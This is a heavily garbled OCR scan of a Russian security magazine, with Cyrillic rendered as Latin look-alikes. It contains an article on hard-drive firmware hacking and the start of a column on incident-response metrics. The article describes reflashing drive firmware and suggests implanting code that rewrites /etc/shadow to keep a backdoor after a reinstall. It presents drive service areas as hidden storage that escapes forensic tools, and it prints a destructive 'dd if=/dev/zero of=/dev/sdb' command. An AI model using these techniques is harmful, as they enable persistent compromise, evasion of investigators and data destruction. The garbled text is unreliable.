3a ee xopoiuero pacnanoxeHHfi: AaHHbie, CHMTaHHbie c aucio, 6yAyT b Kerne, TaK hto i/ix 
moxho 6yAeT cpa3y OTTyAa CKonnpoBaTb. 

Cnoco6 AOBO/ibHO cnoxHbiM — HeyAo6HO KaxAbifi pa3 noAK/iiOHaTbCfl nepe3 JTAG 
i/i KOBbip^Tbca b Keiue bo BpeMH pa6oTbi xecTKoro AncKa. BiviecTO stoto A-na coxpaHeHi/m 
AOCTyna 6e3 noAK/iiOHeHMa AonojiHHTejibHoPi nnaTbi moxho nepenpownTb MMKpocxeMy 
c|)/ieiu-naMqTM, BbinaaB v\ noAK/iK)HHB k nporpaMMaTopy. 

OAHaKO 6bmo 6bi cjioxho MOAepHM3npoBaTb koa n3-3a Hen3BecTHoro a/iropnTMa 
cxaTMH, BMecTO 3Toro moxho npocTO n3MeHMTb aApec Bbino/iHeHMa m Ao6aBMTb cneu,n- 
anbHbM 6/iok, KOTOpbiM 6yAeT npoHurraH paHbuie ocTa/ibHbix. 3to Ae/iaeT nonoxeHHe p,en 
HeMHoro npome. 

B pe3y/ibTaTe CBoero ncc/ieAOBaHkifl 1/lepyH co3Aa/i MHCTpyMeHT fwtool, KOTOpbiPi mo- 
xeT c6pacbiBaTb pa3/inHHbie 6/iokm bo (JxneLue m nepeBOAHTb koa b TeKCTOBbiM 4)aM/i. 3a- 
TeM moxho M3MeHMTb, yAa/ii/iTb win Ao6aBHTb 6jiok m BHOBb co6paTb Bee b oahom cf>ai/ijie 

npOLUMBKM, KOTOpblPl nOTOM CnOKOMHO 3arpy3HTb bo c^/iew. 
MEHflEM nPOUlMBKY 

noAo6Hbie MaHMny/iauMM c xecTKMM auckom Tpe6yiOT 3HaHMTe/ibHbix ycn.ni/in, h bpha -nn 
KTO-Hn6yAbAo6poBO/ibHOOTAacTCBOM HaKonwTe/ibAn^ B3/iOMa. rio3TOMy6bijio6bi Henno- 
xo H3MTM cnoco6 nepenpoLUHBKM BUHHecTepa 6e3 KaKnx-jin6o nocTopoHHux ycTpoMCTB 
MJiM CHHTkiH Huna. 

y KOMnaHMM Western Digital ecTb cneu.ua/ibHbie nporpaMMHbie yTM/iMTbi A-na pa6oTbi 
c xecTKMM auckom — 3to MHCTpyMeHTbi, pa6oTaK)Lune noA DOS, KOTopbie MoryT 3arpy- 




INFO 

KcTamroBOpfl, MepyH 
peiuM/i noAeiiMTbCfl 
pe3yjibTaTaMM cbomx hc- 

CJieAOBaHMM H BblJIOKMJI 
nOHTH BeCb MCXOJIHbm KOfl 

HacBoeMcaMTe. 



3MTb HOByjo npoiuMBKy Kompojuiepa, MMKpocxGMbi ctxneuj-naivmTi/i v\nv\ cepBi/iCHoro pa3- 
Aena. MHCTpyivieHTbi ncno/ib3yiOT TaK Ha3biBaeMbie Vendor Specific Commands (VSC), 
BnponeM, 06 stom nyTb no3xe. 

TaKxe ecTb Ha6op 1/iHCTpyMeHTOB noA Ha3BaHneM idle3-tools , KOTopbie moxho B3HTb 
Ha BoopyxeHMe A-na MOAn4)HKau,MM npoujuBKM xecTKoro aucio. Oh TaKxe i/icnonb3y- 
eT VSC, npwvieHHfl Linux SCSI PassThrough lOCTLs. 1/lepyH b3hji stot koa, M3MeHnn ero 
n nHTerpupoBa/i b fwtool. noone stom MOAncjMKauHn nporpaMMa Haynmiacb onepupo- 
BaTb npOLUMBKOM MMKpocxeMbi cjxneuj-naMsrn/i. 

Tenepb eonn xaKep KaKMM-TO o6pa30M civioxeT BOcno/ib30BaTbCfl fwtool Ha yAa/ieH- 
hom ManiMHe, to no/iyni/iT B03MO>KHOCTb c6pocnTb cJ)jieLii-naivmTb AncKa, M3MeHMTb ee 
1/1 «3aiuMTb» o6paTHO. llpaBAa, b KOHu,e kohu,ob B/iaAeneu, y3HaeT o B3noMe 1/1, BepoaTHO, 
nepeycTaHOBMT ci/iCTeMy, ho 3/ioyMbiiu^eHHMK MOxeT BHeAPHTb HTO-Hn6yAb, hto npoa- 
bht ce6a m noone nepeycTaHOBKH. Hanpniviep, noAOXAaTb, noKa Mawi/ma 3aHMTbiBaeT 
M3 (J)aM^a /etc/shadow/, rAe xpaHm~ca Bee naponn b CMCTeMax UNIX/Linux, 1/1 M3MeHMTb 
coAepxMMoe. noone nero moxho 6yAeT npocTO bomtm noA cbomm naponeM. 

KcTaTM roBopa, oni/icaHHaa MeTOAHKa MoxeT cnyxwTb He TonbKO A-na noAnonbHbix 
3KcnepnMeHTOB, ho 1/1 f\nn u,enePi 3ami/n~bi. HanpuMep, moxho C03AaTb HeK/iOHnpyeMbiM 
xecTKMM auck, KOTOpbiw 6yAeT pa6oTaTb HOpMa/ibHO, ec/iM wa6jiOH AOCTyna ceKTOpOB, 
KaK o6bHHO, OKaxeTCH cnyHai/iHbiM. Eoni/i xe BMHHecTep 6yAeT AOCTyneH TO/ibKO noc/ie- 
AOBaTe/ibHO, to AaHHbie 6yAyT wcnopneHbi, hto CAe/iaeT kjioh OT/ii/iHHbiM ot opi/irnHana. 

TEPMHHAJ1 bHbIM PEXMM MtECTKOrO AHCKA 

flpn pa6oTe b TepMi/iHa/ibHOM pexmvie no/ib30BaTe/ib MoxeT B3ai/iMOAei/icTBOBaTb c xecT- 
khm auckom nocpeACTBOM AnamocTi/iHecKwx KOMaHA. 3tot MeTOA npHMeHqeTCR Rnn Ana- 
mocTMKM 1/1 peMOHTa HaKonHTenew Seagate m Toshiba, b Western Digital Taxaa B03MO>KHOCTb 
OTcyTCTByeT i/i3-3a cjioxhoctm noAK/noMeHMfl. TepMMHanbHbiM pexnM (J)aKTMHecKM npe- 
AOCTaB/iaeT nonHbiM root — ynpaB/ieHi/ie MexaHMKOM w jior/ikom ycTpoMCTBa. C ero noivio- 
LAbio moxho TaKxe o6HOBMTb M/iM nepe3arpy3HTb npowwBKy BMHnecTepa. CnncoK KOMaHA 
Arm 6onbiunHCTBa HaKonnTenePi mokho nocMOTpeTb b MHTepHeTe. A Ha nnaTe xecTKoro ahc- 
Ka wvieeTca cneu,nanbHbiM pa3"beM Arm noAK/iiOHeHHfl nepe3 nocneAOBaTe/ibHbiM nopT. 




A-na AOCTyna b TepMi/iHanbHbifi pe>KMM noHaAo6nTCfl ycTpoMCTBO-aAanTep, Heo6xo- 
AHMoe A-n^ npeo6pa30BaHna ypoBHeti cuma/iOB RS-232 b ypoBHM TTL (TaKne aAanTe- 
pbi MMeiOTca b npOAaxe, ho mo>kho co6paTb m caMOMy — Bee Heo6xoAHMbie cxeMbi Ha- 
xoA^Tca b cbo6oahom AOCTyne, a b KanecTBe ocHOBbi moxho B3^Tb HeKOTopbie MOAe/in 
Arduino). Mbi xe B03bMeM roTOBbiPi nun FTDI, KOTopbiw npeo6pa3yeT USB b nocneAOBa- 
Te/ibHbiPi MHTeocbePic n/ia MUKOOKOHTDO^neoa Atmeaa. Hvxho coenMHUTb GND m RESET. 



a Ana noflK/iKDHei-Mfl ncno/ib30BaTb KOHTaKTbi RX h TX. 




A-nfl pa6oTbi c COM-nopTOM ncnojib3yeivi n\o6y\o noHpaBUB- 
Luyjocfl nporpaMMy — Hanpniviep, PuTTY ww Hiperterminal. Bbi- 
6npaeM Tun noflK/iiOHGHUfl, bboahm HOMep COM-nopTa v\ APyrne 

HaCTpOMKM: 



Speed : 9600 
Data Bits : 
Stop Bits : 
Parity : None 



8 



Flow Control : None 



PuTTY Configuration 



23 



Category: 



B - Session 

s — Logging 
B • Terminal 

Keyboard 
Bell 

Features 
3- Window 

Appearance 
Behaviour 
Translation 
Selection 
■ Colours 
B- Connection 
Data 



Options controlling local serial lines 



Select a serial line 
Serial line to connect to 

Configure the serial line 
Speed (baud) 

Data bits 
Stop bits 
Parity 

Row control 



COM3 



SELL 
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None 



None 



WARNING 

klH(j)opMau;Mfl npeAO- 
daBJieHa HcioiioHwejib- 

HO B 03HaK0MMTG/lbHblX 

u,e/iflx. Hm peAaKUMA, 
hh aBTop He HecyT otbgt- 

CTBeHHOCTM 3a/lK)60M 
B03M0)KHb!M BpeA, npM- 

HMHeHHbm MaTepna^aMM 

A3HH0M CTaTbH. 



WARNING 

flaHHbieBCepBMCHblX 

pa3fle/iax onenb BaxHbi 
A/ifl npaBM/ibHOM pa6oTbi 
BMHnecTepa. noBpexAe- 



Proxy 
Telnet 
Rlogin 

1--SSH 
Serial 



About 



Open 



Cancel 



Maunn BefleTKnoTepe 
pa6oTOcnoco6HOCTM 
AMCKa. BoccTaHOBMTb ee 
6yfleT He TaK yx n npo- 
CTO-pnn nepe3anncn 

AaHHblXBCepBMCHblX 

pa3Ae/iax noHaAo6flTCfl 
cneu,na^M3MpoBaHHbie 
nporpaMMbi (HanpuMep, 
Ace Laboratory PC3000). 



Okho HacTposK PuTTY 



fl/m npoBepKM pa6oTOcnoco6HOCTM cxeMbi HyxHO 3aMKHyTb RX v\ TX MexAy co6om. B pe- 
3y/ibTaTe Bee Ha6npaeMbie ci/iMBO/ibi OTo6pa3HTCfl b abomhom KO/iMHecTBe. 3to nponc- 
xoamt n3-3a Toro, hto BBeAeHHbie AaHHbie 6yAyT nepeAaBaTbca no jimhum TX, a 3aTeM 
ohm xe BepHyTC^ no /imhmm RX. RenaeTcn 3to TaK: otk/ikdhmb SATA-Ka6e/ib, coeAHHaeivi 
BbixoA TX aucio c bxoaom RX aAanTepa, m Hao6opoT — RX aAanTepa c TX AncKa. IIoa- 
K/iKDHaGM nuTaHne. nocne HaxaTna K/iaBHLU <Ctrl + Z> nonynaeM npunnaweHi/ie T> (uni/i 
F> HewcnpaBHbix HDD) m bboaum KOMaHAbi. nojiyneHHfl cnncKa KOMaHA bboaum 
/C, a 3aTeM Q. 

M3-3a 6onbu_ioro Koni/inecTBa KOMaHA MHxeHepw Seagate pa3Ae/in^n mx CTpyKTypy 
Ha ypoBHM. TaKMe KOMaHAbi, KaK HTeHwe, 3anncb, noncK, nov olum6ok, AOCTynHbi cpa- 

3y Ha HeCKOJlbKl/IX pa3/lMHHblX ypOBHflX. HT06bl nepeK/IKDHMTb XeCTKMM auck a/i^ pa6oTbi 

Ha ApyroM ypOBHe, HaAO BOcnojib30BaTbCfl KOMaHAOM /x. 



ypoBeHb T - cepTn4>MKai4MOHHbie McnbuaHMfl 

YpoBeHb 1 - KOMaHAbi ynpaB/iem-ifl naMHTbK) 

ypoBeHb 2 - KOMaHAbi HacTpoPiKM MexaHUKM npMBOAa 

ypOBeHb 3 - nOMCKOBbie KOMaHAbi 



ypoBeHb 4 - KOMaHAbi c/iexeHMfl cepBOABwraTe/ifl 



ypoBeHb 5 - ncno/ib3yeTCfl TO/ibKO b 3aBOACKnx yc/iOBnax 
ypoBeHb 6 - aAanTMBHbie KOMaHAbi ynpaB/ieHMfl 



ypoBeHb 8 - cneu.ua/ibHbie KOMaHAbi HacTpoPiKH 3anncn 

ypOBeHb 9 - KOMaHAbi peXKMMa CMCTeMbl KOHTpO/lfl Ae(})eKTOB 



KpoMe 3tmx AeBFiTM ypoBHefi, ecTb eme ABa Aono/iHMTe/ibHbix Ha6opa KOMaHA: ceTeBbie 
l/i o6uj,ne. Ochobhom ue/ibio ceTeBbix KOMaHA nsnneicn OTo6paxeHi/ie i/i3MeHeHi/ifl TeKy- 
m,ero coctohhhh cucTeivibi. 06iu,ne KOMaHAbi ncno/ib3yK)Tca Arm AOCTyna k perncTpaM, 
6ycf>epHoPi naivm™ m AaHHbiM. 

Boo6i_u,e, TepMMHa/ibHbiM pexwivi npeAOCTaB/iaeT mhoto MHTepecHbix B03MOXHOCTew. 
HanpMMep, KOMaHAa HH3KoypoBHeBoro 4)opMaTHpOBaHM« mo>kgt He mribKO CHecTM A3-H- 
Hbie noAHMCTyio 6e3 bo3moxhocth BOCCTaHOB/ieHMfl, TaKxe, ec/JM bo Bpeivm (JjopiviaTn- 

pOBaHM^ KTO-HM6yAb OTK/1KDHI/1T nMTaHMe, BMHHeCTep CMOXeT CaM «AO(f)OpMaTMpOBaTbCJ1» 

npw nepBOM xe ero BK/ifoneHnw. B o6meM, sto Teivia, AOCTOMHaa OTAe/ibHoPi CTaTbw. Mbi 
xe ABMxeMca Aa/ibiue. 



3AniiCb MHOOPMAUMM B CEPBUCHblE PA3flEJlbl HDD 

B jikd6om xecTKOM AncKe n pncyTCTByK)T cepBHCHbie pa3Ae/ibi. Ohm npeAHa3HaneHbi 



A/ifl xpaHei-Mfl cny>Ke6Hbix nporpaMM BMHHecTepa, tskhx ksk S.M.A.R.T., MOfly^n paHHero 
o6Hapy>KeHi/m oluh6ok, MOAY-nn caMOAnamocTHKM h t3k Aa/iGG. K cnacTbio, Bee 3th as-h- 
Hbie He 3aHMMaK)T BbiAejieHHoe MecTO noriHOCTbio, a 3HaHi/n~, npn npaBM/ibHOM noAxoAe 
Mbi MoxeM i/icnojib30BaTb 3to 6oHycHoe npocTpaHCTBO. CepBMCHbie pa3Ae/ibi He cneny- 
eT nyiaTb c DCO v\nv\ HPA, KOTopbie MoryT 6biTb zierKO o6HapyxeHbi n AOCTyrmbi nepe3 
CTaHAapTHbie ATA-KOMaHAbi. 

B OT/ii/iHMe ot ocTa/ibHbix MeTOAOB CKpbiTna MHcjDOpMau.MM 3anwcb b cepBMCHbiM pa3- 
Ae/i He ocTaB/iqeT 3a co6om h wokhx oneAOB v\ He3aMeTHa A-na cneu,na^bHbix nporpaMM 



' $ COM3 - PuTTY | cz. 1 t°] 1 S3 ] 



> 

T>/1 
1>N1 

Initializing SMART Sectors ... RPO ENDOK 

l>Reset 

8192k x 16 DRAM 

GALAXY - l_Disk S-7A 12-08-06_16 : 32 

Buzz HM SFI 

(P)SATA Reset 

carve writes (H) SATA Reset 

carve writes!"] 



■ 

06Hy/ieHne S.M.A.R.T. 



noHCKa, KOTopbiMH nojib3yiOTCfl npaBOOxpaHMTe/ibHbie opraHbi. Oahmm cjiobom, sto Me- 
cto MAea/ibHO noAOMAeT A^i^ xpaHeHwa TeKCTOBbix cf>aiijioB c aApecaMH, napo/iAMM, flBKa- 

MM M npOHMM. 

Ajih AOCTyna k nH(})opMaiJ,MM M3 cepBMCHbix pa3AenoB He noAOMAyT CTaHAapTHbie 
ATA-KOMaHAbi, BMecTO 3Toro Ana 3ani/icn v\ HTeHMfl wcnojib3yiOTCfl cneu,Ma/ibHbie KOMaH- 
Abi VSC (Vendor Specific Commands). KaK npaBM.no, npon3BOAHTe/in AepxaT b ceKpeTe 
3tm KOMaHAbi, ho nopotf BbinycKaiOT yTM/iMTbi Ana pa6oTbi c cepBMCHbiMM pa3A6/iaMn — 
HanpuMep, nporpaMMa wdidle3.exe ot KOMnaHMM Western Digital v\ ee oneHCopcHbiM aHa- 
jior idle3-tools. ELue oahh npMMep a/ih WD — nporpaMMa HDDHackr, MeHHKDLAaa 3anncn 
b cucTeMHbix pa3Ae/iax HD. 

06teM cepBMCHoro pa3Aena 3aBMCMT ot MOAe/iM BMHnecTepa. Hanpi/iMep, b AncKe 
WD2500KS-00MJB0 ceMeMCTBa Hawk o6beMOM 250 T6 (npowuBKa 02AEC) b cepBMC- 
HbiM pa3Aen 3anncbiBaeTC5i ABe Konnn cfjaPiJiOB, oko/io 6 M6 KaxAaa. Pa3Mep 30Hbi Ha Ka- 
xaom noBepxHOCTM cocTaBjiaeT okojio 23 M6 (64 TpeKa no 720 ceicropoB Ha k3xaom). 
riocKO/ibKy 3tot ahck MMeeT uiecTb noBepxHOCTePi (ronoBKM ot 0 ao 5), MOAynw cepBnc- 
Hbix pa3AeriOB pacnojiaraKTrca Ha MecTe, conocTaB/ieHHOM c ronoBKaMM 0 m 1, a MecTO, 
3aKpen^eHHoe 3a ro/iOBKaMi/i co 2 no 5, 3ape3epBnpoBaHO, ho He ncno/ib3yeTC?i. TaKMM 
o6pa30M, 3ape3epBnpoBaHHbiM pa3Ae/i 3aHi/iMaeT okojio 141 M6, M3 kotophx 12 M6 Ha- 

XOAHTCfl B MCnO/1b30BaHMM. 



MJifl cpaBHeHMH. MOAe/ib vvu iutAu^-uuz.jDu, eMKocTbKj b TepaoaHT m c BoceMbKj no- 

BepXHOCT^MM, MMGGT 3ape3epBMpOBaHHOe npOCTpaHCTBO 450 M6, M3 KOTOpblX 3aHflTO 52 

M6. Apn3/ib BepKMaH (Ariel Berkman) M3 KOMnaHMM Recover Information Technologies 
LTD Hanncan CTaTbio o pa6oTe c cepBMCHbiMM OTflenaMi/i HDD, a TaKxe Bbmoxwi PoC-koa 
A/ifl 3anncn 94 M6 MHc^opMaunn b cepBi/iCHbifi OTAe/i flMCKa Western Digital 250GB Hawk. 
Ae/iaeTCfl sto c/ieAyKDiuuM o6pa30M: 

• Y3HaeM cbom SATA 10 aApec, ncno^b3ya lspci -v. 

• A^q KOMnmiflu,MM Mcno/ib3yeM KOMaHAy gcc -Wall -0 -g -o SA-cover-poc SA- 
cover-poc . c. 

• Co3AaeM paHAOMHbiw (f>aPi.n (94 M6 b pa3Mepe) v\ BbiHMC/iaeM ero MD5-xeiu. 

• 3anncbiBaeM cJ)aM/i b cepBi/iCHbifi pa3Ae.n- 

• OnumaeM BMHnecTep c noMOLAbio KOMaHAbi dd-ing /dev/zero, KOTopyto oneAyeT 
pacnpocTpaHMTb Ha Becb xecTKnw auck (i/ijih Ha ero OTAe/ibHyio nacTb, npeABapn- 
Te/ibHo 3a6noKnpoBaB AOCTyn k ocTa/ibHoiviy). AocTaTOHHO Bcero oahh pa3 npomarb 

3T0T KOA, HT06bl yHMHTOXMTb A3HHbie 6e3B03BpaTHO. 

• HuTaeivi coAOpxMMoe cepBMCHoro pa3AO/ia, BbiHHC/meivi ero xew m y6e>KAaeMCfl b u,e- 

JIOCTHOCTM A3HHblX. 

root@Shafanl:~/SA# dd if=/dev/urandom count=184320 > random-file ; mdSsum random-file 
root@Shafanl:~/SA# ./SA-cover-poc -p 0x0170 -w ./random-file 
root@Shaf anl : ~# dd if=/dev/zero of=/dev/sdb bs=lM 
root@Shafanl:~/SA# ./SA-cover-poc -p 0x0170 ^rafter-dding-dev-zero 
root@Shafanl:~/SA# md5sum after-dding-dev-zero 

Abtop npeAynpexAaeT, hto ero koa MOxeT npuBec™ k noiepe AaHHbix m BbixoAy H3 CTpoa 
xecTKoro aucio, TaK hto ncnonb30BaTb stot mctoa mo>kho TonbKO Ha cbom orpax v\ puck. 



nporPAMMbi am bocctahobjiehi/ia hdd 



npM HH3KOypOBHeBblX SKCnepHMeHTaX B03MOXHO CTOJlKHyTbCfl C T3K0M HenpmiTHOCTbK), 

KaK no/iOMKa BHHHecTepa. He ctoht cpa3y npn6eraTb k apskohobckum MepaM m qbopivia- 

TMpOBaTb AUCK, MO>KHO nOnpo60BaTb BOCCTaHOBMTb erO pa60TOCnOC06HOCTb C nOMOlAbKD 

HeKOTopbix nporpaMM. 

1. TestDisk — caiviafl npocTaa h 3(Jxt>eKTHBHafl nporpaMMa A-na BoccTaHOB/ieHHH HDD. 
npeAHa3HaHeHa a/i^ noncKa h peKOHCTpyKu.ni/i noTepflHHbix pa3Ae/iOB, 3arpy30HHoro 
ceKTopa, yAaneHHbix cJ)awiOB; ncnpaB/meT Ta6/inuy pa3Ae/iOB. PaSoTaeT c 6o/ibuunM 

KO/lMHeCTBOM C^aMJlOBblX CMCTCM. Pa60TaeT B KOHCO/lbHOM pe>KWVie, HeM AOCTMraeTCJI 
BblCOKa^ CKOpOCTb. 

2. Acronis Disk Director — ue/ibiii nporpaMMHbifi naKeT, b kotophm BK/ifoneHO HeMa/ioe 
KO/iMHecTBO MHCTpyivieHTOB A-na pa6oTbi c HDD. CoAopxnT b ce6e yrmimy Acronis 
Recovery Expert, KOTopaa cjivxht a/ia peKOHCTpyKu.nn tyatinoB h pa3AOJiOB. B OT/inHne 
ot npeAbiAymeM nporpaMMbi wvieeT rpacf)MHecKMM nHTepcJ)eMC, ho pa6oTaeT c MeHb- 

LUHM KOJIHHeCTBOM Cj)aM/10BblX CHCTeM. 



3. Paragon Partition Manager — 6ecnjiaTHaa nporpaMMa ot OTenecTBeHHbix pa3pa6oT- 
hmkob, yMeeT noHTi/i Bee to xe caivioe, hto h Acronis, ho yxacHO MeA-neHHaa. 



TestDisk 6.14, Data Recouery Utility, July 2013 
Christophe GRENIER <grenier@cgsecurity.org> 
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Disk /dev/sda — 
Part it ion 
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HPFS 
HPFS 
HPFS 
HPFS 
HPFS 

nrrs 



NTFS 
NTFS 
NTFS 
NTFS 
NTFS 
NTFG 



1000 GB / 931 GiB - CHS 121601 255 63 

Start End Size in sectors 



20215 56 
67565 131 
6V565 131 
67565 131 
80131 206 
00131 206 



9 80131 206 11 
23 109034 205 35 
30 1Q9034 205 35 
30 110291 101 18 
12 121601 25 24 
19 121601 25 24 



962559993 
666204160 
666204153 
686391289 
666204160 
C66204153 



Structure: Oh . Use Up/Down Arrow keys to select partition. 
Jse Left /"Right Arrow keys to CHANGE partition characterist ics S 
*=Primary bootable P=Prinary L=Logical E=Extended D=Deleted 
Keys A: add partition, L - load backup, I: change type, P- list files. 

Enter: to continue_ 
NTFG found usinq backuu sector, blocks ize-409G, 492 GD / 450 GiD 



BoccTaHaB/iMBaeM noBpewAem-ibie pa3fle/ibi c noMombio TestDisk 



3AKJ1 K>H EH M E 

OflHaKO HacTa.no Bpeivm 3aKpyrrmTbCH. B stom CTaTbe n nonbua/ica noKa3a~rb HGM3BeflaH- 
Hbie yro/iKM i/i bo3mo>khoctm xecTKoro flMCKa. He ynny6.rmflCb b koa, Mbi paccMOTpeni/i 
cnoco6bi pacLuwpeHi/ifl bo3moxhoctgm BMHHecTepa. 

Ecni/i Aaxe cnen<a npnnoAHm~b stot 3aHaBec, OTKpbiBaeTca orpoMHoe none Ann no- 
jieia <t>ai-n~a3kin. Moxho, Hanpwviep, nepenponiMTb KOHTponnep, HTo6bi CKpbiTb ot nocTO- 
POhhmx nna3 oco6o BaxHbiM pa3Ae/i. \Ar\v\ nopTHTb AaHHbie npn nonbiTKe K/iOHnpoBaTb 

XeCTKMM AUCK, 06e30naCMB Ce6« TaKMM 06pa30M OT KpHMMHa/lMCTHHeCKHX yTMJlMT. 

OAHMM CJ10BOM, BapMaHTOB AJl^ SKCnepMMeHTOB AOMCTBMTeribHO MHOrO, TaK hto Ka- 
KMM 06pa30M MCn0^b30BaTb XeCTKMM auck — Bbi6op 3a to6om. 



B3J10M 

KO^OHKA 
A^EKCEfl CMHI40BA 




MY)KMKOB 

BblBMPAEM METPMKY OUEHKM PABOTbl 

C MHUM^EHTAMM MB 




AJIEKCEH CHHIJOB 

M3BecTHbiM white hat, AOKJiaAHMK 
Ha security-KOH(|)epeHUMflx, coopraHM3a- 
Top ZeroNights v\ npodo 0T/in4Hbm napeHb. 

BflaHHbIM MOMGHT33HMMaeT flOJDKHOCTb 

Principal Security Engineer b KOMnamw 
Nokia, rfle 0TBeHaeT3a 6e3onacHOCTb cep- 
bucob n/iaT())opMbi HERE. 

alexey.sintsov@here.com 



B nfoSoM Rene, b jikd6oi/i paSoie BaxHO oueHMBaTb ee 

3C[)Ct)eKTMBHOCTb. l/lH0opMau,MOHHa^ 6e30naCHOCTb He 
I/1CKJ1KDH6HH6, nOSTOMy 9\ V\ XOHy flOrOBOpMTb 0 TOM, KaK 
1/1M6HH0 MOXHO M3MGpi/lTb KaneCTBO OTpa6aTblBaHl/m l/IH- 
UMflGHTOB. 

3 AH EM HAM KPI? 

Ha onpeAe^eHHOM 3Tane pa3BHTi/m 1/IB-KOMnaHnn moxct BCTaTb pe6pOM Bonpoc: a KaK no- 
HqTb, xoponio /in Mbi pa6oTaeivi c i/iHu.M/j.eHTaMM M/iM HeT? Pa6oHne npoueccbi Hen/ioxo 6bi 

MOHMTOpMTb. A/13 KOHTpO/13 3Cj)(l)eKTHBHOCTH MOAHO BBOflMTb T3K Ha3blBaeMbie KPI — Key 

Performance Indicator. Oco6eHHO sto jho6ht BCHKi/ie MeHeAxepbi. 

TeM He MeHee — hto MOHMTopnTb npw pa6oie c MHu,MAeHTaMn? BaxHO noHi/iMaTb, 
hto ou,eHMBaeM Mbi He a6cTpaKTHyio MB b BaKyyivie, a KOHKpeTHyio pa6oTy KOHKpeTHbix r\\o- 
jxev\, Ha30BeM nxcefiHac kom3haom peampOBaHHH Ha nHu,MAeHTbi. BbiAe/ieHHOM KOMaHAbi 
MoxeT h He 6biTb, n npouecc peampoBaHi/iq MoxeT BK/uonaTb b ce6a pa3Hbix OTBeTCTBeH- 
Hbix 3a 3to Ae/io jikdaom — to ecTb sto TaKoe co6npaTe/ibHoe Ha3BaHne ajih npocTOTbi. 
KaK 9\ roBopmi, MHorne mctphkm ajih oueHKM yxe npMAyiviaHbi h caMOoneBMAHbi, jxnn hx 
oco3HaHnq He Tpe6yeTCfl ceMH rmAefi bo n6y. 

MHUMAEHTbl ME 

Arm Hanana Mbi AO/ixHbi onpeAe/iMTb atih ce6a, hto cnnTaTb mhumaohtom v\ KaKne ero xa- 
paKTepucTMKM A-n^ Hac BaxHbi. Mhumacht — 3to co6biTne, hto yxe HeceT onpeAeneHHbie 
noKa3aTe/in, TaKwe KaK Bpeivia Hanana v\ Bpervm OKOHnaHHfi, ho Ha caMOM Ae/ie ecTb eLAe 
Kyna cbomctb m 3aBncnMOCTefi. 

J1jo6om cneu,nanncT 3HaeT, hto MHu,MAeHTbi 6biBaiOT pa3HbiMn KaK no npi/ipoAe, TaK 
i/i no cyTM, nosTOMy i\r\5\ «6yMaxHofi» MB m oueHOHHbix MeTpMK HyxHO neTKoe noHWMaHHe 
cpeAbi m u,enev\. AyMaK), hto jioi~hhho CHMTaTb nHu,i/iAeHTOM n\o6oe co6biTne, CBH3aHHoe 
c Hawew cpeAOfi, KOTOpoe BJiwaeT (qbaKTMHecKM i/mi/i noTeHu,na^bHo) Ha o6Luee cocTOHHHe 
MB b HeraTHBHyio crapoHy. Hanpi/iMep, 0a kt B3/iOMa \a netyevica — onpeAeneHHO mhu,m- 
AeHT. HannHne yH3BHMOc™ m bo3mo>khoctm B3/iOMa n Aecf>ei/ica? Toxe MHUMAeHT. Coo6- 
meHne (alert) c cucTeMbi DLP v\nv\ IDS — Toxe mhuhaght. 

Cjiobom, MHu,MAeHT — jiio6oe co6biTne, KOTopoe B/ieneT pea/ii/i3au,nio (mjim bo3mox- 
HOCTb peann3au,MM) tom win mhom yrpo3bi MB. Mmchho TaKne co6bi™a AonxHbi Bbi3biBaTb 
y Hac peaKu,nio m HeKi/ie agmctbhfi. J\nn pa3Hbix KOMnaHnPi c pa3HbiMM 6n3Hecaivin v\ mh- 
cjDpacTpyKTypaMM 6yAyT pa3Hbie cbomctb3 nHu,MAeHTOB (ho K/noneBbie &eu\v\ 6yAyT o6lah- 
mh), TaKxe m rpaAau,n?i stmx cbomctb MOxeT OTjinnaTbca — m sto HopiviajibHO. 

nPMMEHMM HA AEJ1E 

MTaK, npeAnonoxMM, hto y Hac Bee yxe HanaxeHO b «6yMaxHOM», opraHM3au,MOHHOM na- 
ctm MB: ecTb IDS, DLP, KOHTaKTbi c MecTHbiM CERT, a6y3-Mbmo, ceKypMTM-Mbmo m CKaHe- 
pbi yq3BMMOCTeM. Tenepb HyxHO 3apaHee onpeAe/iMTbCfi c perncTpupyeMbiMM m kohtpo- 
/lMpyeMbiMM napaivieTpaMM MHu,MAeHTa. A-n^ IT-Aen ecTb BceM M3BecTHbie MeTpi/iKi/i ITIL 

M COBIT, HO B OTHOLJjeHMM MHUMACHTOB MB Aa^eKO He BCe MeTpMKM MOXHO npMMeHMTb 
C nOJlb30M. 



Bo3bMGM npniviep: ec/iM Mbi 6yAeM 3aMepsrrb KaxAbiM Mecflu, kojimhgctbo mhumach- 

TOB, TO HTO 3T0 HaM 6yAeT TOBOpHTb? AonyCTMM, MHU,MAeHTOB 6blJ10 ManO — 3T0 3HaHMT, 
HTO MX HeT MJ1M MTO Mbl MX He 3aCeKJlM? To eCTb KO/lMHeCTBO MHU.MAOHTOB B M6GRI4, Aaxe 

c mx rpaAau,MeM no kpmtmhhoctm m/m^m MMnaKTy, — He caMbiM none3HbiM noKa3aTenb. 
To xe caivioe c KpMTMHHOCTbio MHUMAeHTOB — nonynaeTca HenoHHTHaa KpMBaa, KOTopaa 
MoxeT npbiraTb b pa3Hbie CTopoHbi, ho He AaBaTb no/ie3HOM MHc^opiviauMM. 

1/lTaK, hto xe moxho CHMTaTb BaxHbiM napaivieTpOM, no KOTOpoiviy moxho oueHMBaTb 

J1K)60M MHU,MAeHT M 3a KOTOpbIM AOJTXHa OTBeHaTb Hailia KOMaHAa? OAHO M3 OHeBMAHblX 

peujeHMM — BpeMq peaKUMM. KaKTonbKO onyHM/iocb co6biTMe, BaxHO 3aperMCTpMpoBaTb 
MOMeHT, KorAa Haiua KOMaHAa npMHH/ia MHcJ)opMaiJ,MK) 06 MHUMAeHTe m Hanana agmctbo- 
BaTb. Hennoxo 6bi eme MMeTb m nponMcaHHbie CTaHAapTbi, no3BO/iaiOLAMe oueHMTb Kane- 

CTBO peaKU,MM. B HaCTHOCTM, nO 3TMM CTaHAapTaM Mbl MOXeM paHXMpOBaTb MHU,MAeHTbl 

no BaxHOCTM m Ha3HanaTb pa3Hoe AonycTMMoe BpeMH pearMpOBaHM^. CKaxeM, 6yAeM 
CHMTaTb, hto Bee SQLi-anepTbi, npMxoA^iAMe M3 IDS, MivieiOT BbicoKMM npMopMTeT, a a/iep- 
Tbi, npMxoA^LAMe b pe3ynbTaTe CKaHMpoBaHM^ Acunetix, — cpeAHMM. A-n^ KaxAoro npMO- 
pMTeTa 6yAyT cbom Tpe6oBaHMH Ha Bpeivm pearMpOBaHM^ — TaK Ha3biBaeMbiM SLA. 

Tenepb y Hac yxe ecTb KaK MMHMMyM ABe MeTpMKM, kotophmm moxho oueHMBaTb pa- 
